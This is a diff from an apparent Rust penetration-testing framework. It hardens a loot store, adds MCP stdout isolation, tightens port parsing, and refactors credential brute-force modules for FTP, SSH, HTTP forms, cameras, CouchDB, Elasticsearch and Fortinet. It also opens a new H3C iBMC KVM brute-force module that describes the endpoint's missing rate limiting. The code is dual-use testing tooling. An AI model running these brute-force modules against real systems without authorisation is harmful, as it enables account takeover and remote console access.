/// Maximum loot file size (100 MB).
|
||||
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
|
||||
/// P2-A6: cap on the total number of loot entries to bound disk + index
|
||||
/// growth. 10k entries × 100 MB max each = ~1 TB worst case, which is
|
||||
/// well past any realistic engagement; the per-entry cap is the real
|
||||
/// limit, this catches runaway-loop bugs.
|
||||
const MAX_LOOT_ENTRIES: usize = 10_000;
|
||||
|
||||
/// Store loot data and return the entry ID.
|
||||
pub async fn add(
|
||||
@@ -87,6 +98,14 @@ impl LootStore {
|
||||
if host.is_empty() || host.len() > 256 {
|
||||
return None;
|
||||
}
|
||||
// P2-A6: refuse to insert past the global entry cap.
|
||||
if self.entries.read().await.len() >= Self::MAX_LOOT_ENTRIES {
|
||||
eprintln!(
|
||||
"[!] Loot store full ({} entries) — delete or clear loot before adding more",
|
||||
Self::MAX_LOOT_ENTRIES
|
||||
);
|
||||
return None;
|
||||
}
|
||||
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let ext = match loot_type {
|
||||
@@ -113,14 +132,15 @@ impl LootStore {
|
||||
}
|
||||
|
||||
{
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&file_path)
|
||||
.await
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically. A symlink raced
|
||||
// into the loot dir would otherwise redirect the write outside it.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&file_path).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to create loot file: {}", e);
|
||||
@@ -144,12 +164,13 @@ impl LootStore {
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
};
|
||||
|
||||
let snapshot = {
|
||||
// P1-1: hold the write lock across the disk save.
|
||||
{
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
}
|
||||
Some(id)
|
||||
}
|
||||
|
||||
@@ -181,29 +202,47 @@ impl LootStore {
|
||||
}
|
||||
|
||||
/// Delete a loot entry by ID. Also removes the loot file from disk.
|
||||
/// File removal happens BEFORE the index is rewritten, so that a failed
|
||||
/// `unlink` (EACCES, EBUSY, etc.) does not orphan the file on disk while
|
||||
/// the index forgets about it.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let (removed, filename) = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
let fname = entries.iter().find(|e| e.id == id).map(|e| e.filename.clone());
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
let snapshot = entries.clone();
|
||||
drop(entries);
|
||||
self.save_locked(&snapshot).await;
|
||||
(true, fname)
|
||||
} else {
|
||||
(false, None)
|
||||
}
|
||||
// Look up the filename without mutating the index yet.
|
||||
let filename = {
|
||||
let entries = self.entries.read().await;
|
||||
entries.iter().find(|e| e.id == id).map(|e| e.filename.clone())
|
||||
};
|
||||
if let Some(fname) = filename {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
if let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
|
||||
let Some(fname) = filename else {
|
||||
return false;
|
||||
};
|
||||
|
||||
// Try to remove the file first. ENOENT is fine — the index will be
|
||||
// cleaned up either way. Any other error aborts the delete so the
|
||||
// caller can see the entry is still present and retry.
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
match tokio::fs::remove_file(&path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
|
||||
tracing::debug!(path = %path.display(), "loot file already gone, removing index entry");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to remove loot file {}: {} — index entry preserved", path.display(), e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
removed
|
||||
|
||||
// File is gone (or the path was malformed) — now drop the index entry.
|
||||
// P1-1: lock-during-save so the index file stays consistent with
|
||||
// the in-memory entries under concurrent ops.
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() == before {
|
||||
return false;
|
||||
}
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
true
|
||||
}
|
||||
|
||||
/// Clear all loot entries and remove loot files from disk.
|
||||
@@ -212,9 +251,9 @@ impl LootStore {
|
||||
let mut entries = self.entries.write().await;
|
||||
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
|
||||
entries.clear();
|
||||
self.save_locked(&entries).await;
|
||||
names
|
||||
};
|
||||
self.save_locked(&[]).await;
|
||||
for fname in filenames {
|
||||
if let Some(path) = self.file_path(&fname) {
|
||||
if let Err(e) = tokio::fs::remove_file(&path).await {
|
||||
@@ -251,14 +290,14 @@ impl LootStore {
|
||||
return;
|
||||
}
|
||||
};
|
||||
let file = match tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.truncate(true)
|
||||
.mode(0o600)
|
||||
.open(&tmp)
|
||||
.await
|
||||
// P1-7: O_NOFOLLOW + create-with-mode atomically.
|
||||
let mut opts = tokio::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true).mode(0o600);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
opts.custom_flags(libc::O_NOFOLLOW);
|
||||
}
|
||||
let file = match opts.open(&tmp).await {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to write loot index: {}", e);
|
||||
@@ -304,6 +343,7 @@ impl LootStore {
|
||||
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
|
||||
|
||||
/// Convenience function for modules to store loot.
|
||||
/// Routes through the tenant registry when in a tenant context (API mode).
|
||||
pub async fn store_loot(
|
||||
host: &str,
|
||||
loot_type: &str,
|
||||
@@ -311,5 +351,6 @@ pub async fn store_loot(
|
||||
data: &[u8],
|
||||
source_module: &str,
|
||||
) -> Option<String> {
|
||||
LOOT_STORE.add(host, loot_type, description, data, source_module).await
|
||||
let s = crate::tenant::resolve();
|
||||
s.loot_store().add(host, loot_type, description, data, source_module).await
|
||||
}
|
||||
|
||||
+18
@@ -17,6 +17,8 @@ mod shell;
|
||||
mod utils;
|
||||
|
||||
pub mod cred_store;
|
||||
pub mod events;
|
||||
pub mod tenant;
|
||||
pub mod export;
|
||||
pub mod global_options;
|
||||
pub mod jobs;
|
||||
@@ -110,6 +112,21 @@ async fn run() -> Result<()> {
|
||||
|
||||
tracing::debug!("CLI arguments parsed successfully");
|
||||
|
||||
// P0-2: propagate the strict-TLS flag to the framework's HTTP-client
|
||||
// builder so `permissive()` callers automatically pick up the operator's
|
||||
// policy. Modules that *legitimately* need to talk to self-signed
|
||||
// devices still opt in explicitly via `HttpClientOpts {
|
||||
// accept_invalid_certs: true, .. }`. P1-9: same plumbing for the
|
||||
// proxy-trust flag used by the handshake rate limiter.
|
||||
utils::network::set_global_strict_tls(cli_args.strict_tls);
|
||||
utils::network::set_global_trust_proxy(cli_args.trust_proxy);
|
||||
if !cli_args.strict_tls {
|
||||
tracing::warn!(
|
||||
"TLS verification permissive by default for HTTPS exploit modules. \
|
||||
Pass --strict-tls to flip the default to strict."
|
||||
);
|
||||
}
|
||||
|
||||
// Handle list_modules flag
|
||||
if cli_args.list_modules {
|
||||
tracing::debug!("Listing all modules...");
|
||||
@@ -131,6 +148,7 @@ async fn run() -> Result<()> {
|
||||
cli_args.verbose,
|
||||
&host_key_path,
|
||||
&auth_keys_path,
|
||||
cli_args.pq_key_passphrase.as_deref(),
|
||||
)
|
||||
.await?;
|
||||
return Ok(());
|
||||
|
||||
@@ -131,8 +131,12 @@ async fn read_credentials() -> ResourceContent {
|
||||
let redacted: Vec<serde_json::Value> = creds
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let redacted_secret = if c.secret.len() > 3 {
|
||||
format!("{}***", &c.secret[..3])
|
||||
// Take the first 3 chars (not bytes) — slicing at byte 3 in a
|
||||
// multi-byte UTF-8 secret (emoji, CJK) panics with
|
||||
// "byte index N is not a char boundary".
|
||||
let redacted_secret = if c.secret.chars().count() > 3 {
|
||||
let prefix: String = c.secret.chars().take(3).collect();
|
||||
format!("{}***", prefix)
|
||||
} else {
|
||||
"***".into()
|
||||
};
|
||||
|
||||
+57
-26
@@ -7,43 +7,74 @@ use super::types::{
|
||||
ServerInfo, ToolsCapability,
|
||||
};
|
||||
|
||||
// You can place this function in src/mcp/server.rs or a shared utility module
|
||||
/// Read the libc errno value for the current thread, in a portable way.
|
||||
fn errno() -> i32 {
|
||||
unsafe {
|
||||
#[cfg(any(target_os = "freebsd", target_os = "macos"))]
|
||||
{ *libc::__error() }
|
||||
// SAFETY: `__errno_location` / `__error` return a valid pointer to a
|
||||
// thread-local int that remains valid for the duration of the thread; a
|
||||
// single `*ptr` read of a primitive `c_int` cannot violate any invariant.
|
||||
#[cfg(any(target_os = "freebsd", target_os = "macos"))]
|
||||
unsafe { *libc::__error() }
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{ *libc::__errno_location() }
|
||||
#[cfg(target_os = "linux")]
|
||||
// SAFETY: see comment above; `__errno_location` mirrors the BSD `__error`.
|
||||
unsafe { *libc::__errno_location() }
|
||||
|
||||
// Add fallbacks for other OSes if needed
|
||||
#[cfg(not(any(target_os = "freebsd", target_os = "macos", target_os = "linux")))]
|
||||
{ 0 } // Or compile_error! to force checking for a new OS
|
||||
}
|
||||
// Fallback for other Unixes: errno isn't reliably accessible without a
|
||||
// platform-specific symbol, so callers will see `0`.
|
||||
#[cfg(not(any(target_os = "freebsd", target_os = "macos", target_os = "linux")))]
|
||||
{ 0 }
|
||||
}
|
||||
|
||||
/// Save the original stdout (fd 1) into a new fd, then redirect fd 1 to
|
||||
/// `/dev/null`. The returned tokio file is the *only* remaining handle to the
|
||||
/// original stdout — used by the MCP server to emit JSON-RPC responses on a
|
||||
/// channel that user-mode `println!` calls can no longer corrupt.
|
||||
fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
|
||||
use std::os::fd::FromRawFd;
|
||||
unsafe {
|
||||
let saved_fd = libc::dup(1);
|
||||
if saved_fd < 0 {
|
||||
anyhow::bail!("dup(1) failed: errno {}", errno());
|
||||
}
|
||||
let null_path = b"/dev/null\0";
|
||||
let null_fd = libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY);
|
||||
if null_fd < 0 {
|
||||
libc::close(saved_fd);
|
||||
anyhow::bail!("open(/dev/null) failed: errno {}", errno());
|
||||
}
|
||||
if libc::dup2(null_fd, 1) < 0 {
|
||||
|
||||
// SAFETY: `dup(1)` is a no-arg syscall that returns either a fresh valid
|
||||
// fd or -1. We immediately check the return value before doing anything
|
||||
// that depends on its validity.
|
||||
let saved_fd = unsafe { libc::dup(1) };
|
||||
if saved_fd < 0 {
|
||||
anyhow::bail!("dup(1) failed: errno {}", errno());
|
||||
}
|
||||
|
||||
let null_path = b"/dev/null\0";
|
||||
// SAFETY: `null_path` is a NUL-terminated, statically-allocated byte
|
||||
// string with a pointer valid for the duration of the call; `O_WRONLY` is
|
||||
// a libc-defined constant. `open` returns -1 on failure, checked below.
|
||||
let null_fd = unsafe {
|
||||
libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY)
|
||||
};
|
||||
if null_fd < 0 {
|
||||
// SAFETY: `saved_fd` is a valid open fd we just received from `dup`.
|
||||
unsafe { libc::close(saved_fd); }
|
||||
anyhow::bail!("open(/dev/null) failed: errno {}", errno());
|
||||
}
|
||||
|
||||
// SAFETY: `null_fd` and `1` are both valid open fds (1 is stdout; the
|
||||
// dup above proved it is open and non-error). `dup2` either succeeds and
|
||||
// installs `null_fd` as fd 1, or returns -1.
|
||||
let dup2_ret = unsafe { libc::dup2(null_fd, 1) };
|
||||
if dup2_ret < 0 {
|
||||
// SAFETY: both fds are valid open descriptors at this point.
|
||||
unsafe {
|
||||
libc::close(null_fd);
|
||||
libc::close(saved_fd);
|
||||
anyhow::bail!("dup2(null, 1) failed: errno {}", errno());
|
||||
}
|
||||
libc::close(null_fd);
|
||||
let std_file = std::fs::File::from_raw_fd(saved_fd);
|
||||
Ok(tokio::fs::File::from_std(std_file))
|
||||
anyhow::bail!("dup2(null, 1) failed: errno {}", errno());
|
||||
}
|
||||
// SAFETY: `null_fd` is a valid open fd; closing the source after a
|
||||
// successful `dup2` is the standard idiom — fd 1 keeps the kernel-side
|
||||
// open file description alive.
|
||||
unsafe { libc::close(null_fd); }
|
||||
|
||||
// SAFETY: `saved_fd` is owned by us (returned by `dup`, never close()d
|
||||
// here, never given to anyone else); transferring it into a `File` makes
|
||||
// that file the sole owner so the eventual Drop closes it exactly once.
|
||||
let std_file = unsafe { std::fs::File::from_raw_fd(saved_fd) };
|
||||
Ok(tokio::fs::File::from_std(std_file))
|
||||
}
|
||||
|
||||
/// Run the MCP server over newline-delimited JSON on stdio.
|
||||
|
||||
+4
-2
@@ -402,11 +402,13 @@ fn str_param<'a>(args: &'a Value, key: &str) -> Option<&'a str> {
|
||||
}
|
||||
|
||||
fn u16_param(args: &Value, key: &str) -> Option<u16> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u16)
|
||||
// try_from rejects out-of-range — `as u16` would silently wrap, e.g.
|
||||
// {"port": 70000} → 4464, bypassing every downstream port check.
|
||||
args.get(key).and_then(|v| v.as_u64()).and_then(|n| u16::try_from(n).ok())
|
||||
}
|
||||
|
||||
fn u32_param(args: &Value, key: &str) -> Option<u32> {
|
||||
args.get(key).and_then(|v| v.as_u64()).map(|n| n as u32)
|
||||
args.get(key).and_then(|v| v.as_u64()).and_then(|n| u32::try_from(n).ok())
|
||||
}
|
||||
|
||||
fn bool_param(args: &Value, key: &str) -> Option<bool> {
|
||||
|
||||
@@ -3,7 +3,7 @@ use suppaftp::tokio::AsyncFtpStream;
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use std::time::Duration;
|
||||
use tokio::{join, task};
|
||||
use crate::utils::url_encode;
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
@@ -84,7 +84,10 @@ pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, S
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
Err(_) => continue,
|
||||
Err(e) => {
|
||||
tracing::trace!(target = %config.target, port = config.port, user = %username, "FTP login attempt failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -104,9 +107,14 @@ pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let socket_addr: std::net::SocketAddr = match address.parse() {
|
||||
Ok(sa) => sa,
|
||||
Err(_) => continue,
|
||||
Err(e) => {
|
||||
tracing::debug!(addr = %address, "SSH target parse failed: {}", e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
// libssh2 needs a blocking std stream — blocking_tcp_connect honors
|
||||
// `setg src_port` which the raw connect_timeout silently skipped.
|
||||
if let Ok(stream) = crate::utils::network::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
@@ -197,7 +205,10 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
|
||||
let body = match res.text().await {
|
||||
Ok(t) => t,
|
||||
Err(_) => String::new(),
|
||||
Err(e) => {
|
||||
tracing::debug!(target = %config.target, port = config.port, "HTTP form response body read failed: {}", e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
@@ -242,7 +253,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 301 || resp.status().as_u16() == 302 {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let body = match resp.text().await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
if !body.contains("401") && !body.to_lowercase().contains("unauthorized") {
|
||||
let msg = format!("{}:{}:HTTP:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
|
||||
@@ -9,7 +9,6 @@ use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
@@ -247,7 +246,7 @@ fn print_banner() {
|
||||
|
||||
fn create_client() -> Result<Client> {
|
||||
Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.timeout(Duration::from_secs(TIMEOUT))
|
||||
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
||||
.build()
|
||||
@@ -306,12 +305,18 @@ async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return None,
|
||||
Err(e) => {
|
||||
// Semaphore can only error if it was closed; surfacing
|
||||
// this is important so the operator sees why scanning
|
||||
// suddenly stopped finding ports.
|
||||
tracing::warn!(target = %t, port, "scan semaphore acquire failed: {}", e);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect
|
||||
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
|
||||
|
||||
// Basic TCP Connect (canonical helper — honors `setg src_port`)
|
||||
if crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
@@ -342,7 +347,7 @@ async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
|
||||
if let Ok(mut stream) = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
@@ -383,7 +388,13 @@ async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> b
|
||||
if let Ok(resp) = c.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let status = resp.status();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
let body = match resp.text().await {
|
||||
Ok(b) => b.to_lowercase(),
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
|
||||
let mut indicators = false;
|
||||
|
||||
@@ -465,7 +476,13 @@ async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
|
||||
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
let body = match resp.text().await {
|
||||
Ok(b) => b.to_lowercase(),
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
|
||||
if headers.contains("hikvision") || body.contains("hikvision") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
|
||||
@@ -600,7 +617,7 @@ async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
if let Ok(mut stream) = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(2)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::utils::network::build_http_client;
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
@@ -73,11 +74,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
// Use the canonical helper so source-port / TLS / redirect defaults
|
||||
// stay centralised (see Utilities-Helpers.md → build_http_client).
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
build_http_client(Duration::from_secs(5))
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
@@ -481,13 +481,12 @@ async fn try_couchdb_login(
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.cookie_store(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
// pentest_session() = invalid certs + invalid hostnames + cookie jar.
|
||||
let client = crate::utils::network::build_http_client_with(
|
||||
timeout_duration,
|
||||
crate::utils::network::HttpClientOpts::pentest_session(),
|
||||
)
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Primary: cookie-based session authentication
|
||||
let session_url = format!("{}/_session", base_url);
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::utils::network::{build_http_client, build_http_client_with, HttpClientOpts};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
@@ -73,12 +74,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
// Build client ONCE and share — avoids OOM from per-host client creation
|
||||
// Build client ONCE and share — avoids OOM from per-host client creation.
|
||||
// Canonical builder so source-port / TLS / redirect defaults stay
|
||||
// centralised (see Utilities-Helpers.md → build_http_client).
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
build_http_client(Duration::from_secs(5))
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
@@ -477,12 +477,14 @@ async fn try_es_login(
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
let client = build_http_client_with(
|
||||
timeout_duration,
|
||||
HttpClientOpts {
|
||||
accept_invalid_hostnames: !crate::utils::network::get_global_strict_tls(),
|
||||
..HttpClientOpts::permissive()
|
||||
},
|
||||
)
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Try the security authenticate endpoint first
|
||||
let auth_url = format!("{}/_security/_authenticate", base_url);
|
||||
|
||||
@@ -26,6 +26,9 @@ fn display_banner() {
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::is_mass_scan_target(target) {
|
||||
anyhow::bail!("enablebruteforce does not support mass-scan targets — it raises the local process file-descriptor limit (ulimit), no remote interaction");
|
||||
}
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
|
||||
@@ -404,7 +404,7 @@ async fn try_fortinet_login(
|
||||
.danger_accept_invalid_hostnames(false);
|
||||
} else {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
|
||||
@@ -280,7 +280,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
|
||||
@@ -327,7 +327,7 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
|
||||
@@ -0,0 +1,356 @@
|
||||
//! H3C iBMC OEM KVM session brute force.
|
||||
//!
|
||||
//! H3C iBMC firmware exposes a vendor-specific KVM-session login endpoint at
|
||||
//! `POST /api/oem_kvm/session`
|
||||
//! that:
|
||||
//!
|
||||
//! * accepts credentials in three different encodings — plaintext,
|
||||
//! base64, and double-base64 — and silently treats whichever decodes
|
||||
//! to a valid string as authoritative;
|
||||
//! * returns `200 OK` with an `X-Auth-Token` body field on success and
|
||||
//! `401 Unauthorized` on failure;
|
||||
//! * has **no rate limiting** (operator confirmed via PoC: thousands of
|
||||
//! attempts/sec succeeded with no Retry-After / 429 / lockout);
|
||||
//! * is independent of the user-facing :443 web UI lockout state — even
|
||||
//! when the standard login is locked, this endpoint still services
|
||||
//! attempts.
|
||||
//!
|
||||
//! The combination is a complete brute-force-to-virtual-media chain: a
|
||||
//! discovered KVM credential gives the equivalent of physical console
|
||||
//! access (mount ISO, BIOS reboot, OS reinstall).
|
||||
//!
|
||||
//! This module:
|
||||
//! * Tries each `(user, password)` pair in three encodings.
|
||||
//! * Honours `Retry-After` if the server *does* surface a 429 (some
|
||||
//! hardened builds eventually do).
|
||||
//! * Stops on the first successful pair and persists it via the
|
||||
//! project-wide credential store.
|
||||
//!
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use base64::Engine;
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_yes_no,
|
||||
is_mass_scan_target, run_mass_scan, MassScanConfig, normalize_target,
|
||||
};
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
const DEFAULT_PATH: &str = "/api/oem_kvm/session";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Built-in fallback credential pairs — mostly vendor defaults observed
|
||||
/// across H3C-OEM hardware deployments. Operators should prefer their own
|
||||
/// wordlist via `userlist`/`passlist`.
|
||||
